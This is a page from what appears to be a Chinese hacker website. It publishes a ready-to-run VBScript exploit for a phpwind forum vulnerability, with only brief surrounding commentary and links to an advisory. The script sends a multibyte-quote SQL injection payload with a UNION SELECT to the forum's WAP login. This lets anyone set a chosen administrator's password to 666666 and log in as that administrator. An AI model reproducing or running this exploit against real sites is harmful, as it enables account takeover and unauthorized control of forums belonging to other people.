定阅RSS 繁体中文 设为首页 加入收藏
站内搜索
黑客文章 黑客下载
您所在的位置: 广西安全网络 >> 黑客文讯 >> 病毒漏洞 >> 正文
任意修改phpwind管理员密码 利用工具(VBS代码)
作者:Gxfa 来源:本站原创 更新:2008-8-9 11:45:29  点击:

作者:Tr4c3

'phpwind任意修改管理员密码漏洞 VBS版利用程序 By Tr4c3
Dim strUrl, strPost, xPost, strGet
Set Args = Wscript.Arguments
If Args.count<>2 Then
Wscript.Echo "Usage: " & Wscript.ScriptName & " http://hi.baidu.com/tr4c3/ 1"
Wscript.Quit
Else
strUrl = Args(0) & "wap/index.php"

strPost = "db_wapifopen=1&prog=login&pwuser=shit%c1'union select "& Args(1) &",mid(md5(666666),9,16),3,1,5/*&pwpwd=666666"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.open "POST", strUrl, False
xPost.SetRequestHeader "Referer", strUrl
xPost.SetRequestHeader "Content-Type", "application/x-www-form-urlencoded"
xPost.send(strPost)
strGet = xPost.ResponseText
If InStr(strGet,"登录成功")<>0 Then
Wscript.Echo("执行成功")
Else
Wscript.Echo("执行失败")
End If
End If

题外话:
某些人要清楚看别人的文章不一定要懂别人写exp的语言,理解了原理,用自己懂的语言搞个exp是很容易的,别动不动就觉得别人搞笑。乱改别人文章是不好的。
漏洞信息:http://www.80sec.com/phpwind-admin-pass-change-vul.html
相关阅读:http://hi.baidu.com/biweilun/blog/item/21c0cf1781585b0fc93d6dd7.html

<-- .entry -->

转截请注明:来自 广西安全网络 Http://www.gxfa.com

数据载入中,请稍后……